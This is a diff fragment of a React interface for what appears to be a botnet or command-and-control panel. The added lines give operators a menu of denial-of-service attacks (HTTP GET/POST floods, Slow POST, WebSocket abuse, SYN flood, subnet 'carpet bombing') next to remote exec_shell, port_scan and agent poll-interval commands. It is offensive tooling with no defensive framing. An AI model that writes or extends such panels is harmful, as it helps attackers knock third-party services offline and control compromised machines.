) : (
|
|
|
|
| 886 |
<DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
|
| 887 |
<SortableContext items={blocks} strategy={verticalListSortingStrategy}>
|
| 888 |
{blocks.map((block) => (
|
| 889 |
+
<SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} />
|
| 890 |
))}
|
| 891 |
</SortableContext>
|
| 892 |
</DndContext>
|
|
|
|
| 1301 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 1302 |
const requiresFloodArgs = command === 'network_flood';
|
| 1303 |
const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
|
| 1304 |
+
const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood'].includes(floodType));
|
| 1305 |
const requiresPorts = command === 'port_scan';
|
| 1306 |
const requiresInterval = command === 'change_poll_interval';
|
| 1307 |
const requiresShell = command === 'exec_shell';
|
|
|
|
| 1485 |
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
|
| 1486 |
>
|
| 1487 |
<optgroup label="L7 Vectors (Application)">
|
| 1488 |
+
<option value="http_get_flood">HTTP/1.1 GET Flood</option>
|
| 1489 |
+
<option value="http_post_flood">HTTP/1.1 POST Flood</option>
|
| 1490 |
<option value="slowloris">Slowloris (TCP Exhaustion)</option>
|
| 1491 |
+
<option value="slow_post_flood">Slow POST (Body Exhaustion)</option>
|
| 1492 |
<option value="api_abuse_flood">API Abuse Flood</option>
|
| 1493 |
<option value="cache_bypass_flood">Cache Bypass Flood</option>
|
| 1494 |
+
<option value="websocket_flood">WebSocket Abuse</option>
|
| 1495 |
</optgroup>
|
| 1496 |
<optgroup label="L4 Vectors (Transport)">
|
| 1497 |
<option value="udp_flood">UDP Raw Datagram Flood</option>
|
| 1498 |
<option value="tcp_connect_flood">TCP Connect Flood</option>
|
| 1499 |
+
<option value="syn_flood">SYN Flood (Requires Root)</option>
|
| 1500 |
+
<option value="carpet_bombing">Carpet Bombing (Subnet)</option>
|
| 1501 |
</optgroup>
|
| 1502 |
</select>
|
| 1503 |
</div>
|